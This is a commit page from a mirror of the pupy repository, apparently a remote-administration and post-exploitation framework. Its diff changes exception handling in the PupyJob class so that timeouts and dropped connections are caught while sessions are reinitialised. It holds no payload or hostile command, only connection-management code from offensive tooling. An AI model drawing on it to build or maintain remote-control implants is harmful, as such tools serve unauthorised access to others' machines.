mirror of https://github.com/n1nj4sec/pupy.git
Ignore errors during disconnection by timeout
This commit is contained in:
parent
a24617b6fd
commit
be76d6a476
|
@ -188,11 +188,13 @@ class PupyJob(object):
|
|||
break
|
||||
except KeyboardInterrupt:
|
||||
continue
|
||||
except EOFError:
|
||||
break
|
||||
except rpyc.AsyncResultTimeout:
|
||||
except (rpyc.AsyncResultTimeout, ReferenceError, EOFError):
|
||||
logging.debug("connection %s seems blocked, reinitialising..."%str(m))
|
||||
try:
|
||||
m.client.conn._conn.close()
|
||||
except (rpyc.AsyncResultTimeout, ReferenceError, EOFError):
|
||||
pass
|
||||
|
||||
break
|
||||
|
||||
def is_finished(self):
|
||||
|
|
Loading…
Reference in New Issue